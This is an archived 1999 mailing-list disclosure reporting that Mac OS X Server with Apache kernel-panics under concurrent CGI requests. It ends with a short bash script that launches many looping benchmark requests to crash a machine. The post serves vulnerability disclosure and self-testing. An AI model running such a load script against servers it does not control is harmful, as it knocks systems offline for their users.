MacOS X system panic with CGI

From: Juergen Schmidt (juat_private)
Date: Thu Jun 03 1999 - 10:35:58 PDT

  • Next message: der Mouse: "Re: weaknesses in dns label decoding,"

    Hello all,
    
    when doing performance tests with different web servers,
    I found, that MacOS X Server running apache crashed under
    medium load, when I was calling CGI-scripts.
    
    It displays "system panic" and a stack trace with ipc_task_init.
    
    The problem appears when 32 or more processes are doing
    GET-requests to a cgi script in a loop.
    
    I could reproduce this on two different G3-Macs with
    100%. It doesn't matter, if the processes run local or
    remote (I tried it via LAN with 10 MBit). Crashes appear after
    30 seconds to a couple of minutes.
    
    I suppose this is a bug in the Mach kernel and *not*
    limited to CGI scripts. I could find no other ways to
    trigger it yet. So disabling CGI scripts might help for
    some time.
    
    You can check your machine, using the apache benchmark
    (ab, include on the MacOS X server) with the script at the end.
    Any other program to do HTTP requests in a loop should do.
    
    Apple has been informed. They could reproduce the bug
    at least once.
    
    We have published the issue under:
    http://www.heise.de/ct/english/99/13/186/
    
    
    
    bye, ju
    
    
    -------
    #!/bin/bash
    #
    # CGI-McPanic: script to crash MacOS X with
    #              concurrent calls to a CGI-Script
    #
    # before use, do:
    #
    # chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
    #
    # then call
    #
    # bash ./CGI-McPanic
    #
    
    NUMPROC=32
    i=0
    
    while [ $i -le $NUMPROC ]
    do
        i=$[$i + 1]
        ab -t 3600 http://localhost/cgi-bin/test-cgi &
    done
    
    --
    Juergen Schmidt   Redakteur/editor  c't magazin      PGP-Key available
    Verlag Heinz Heise GmbH & Co KG, Helstorferstr. 7, D-30625 Hannover
    EMail: juat_private - Tel.: +49 511 5352 300 - FAX: +49 511 5352 417
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:48:10 PDT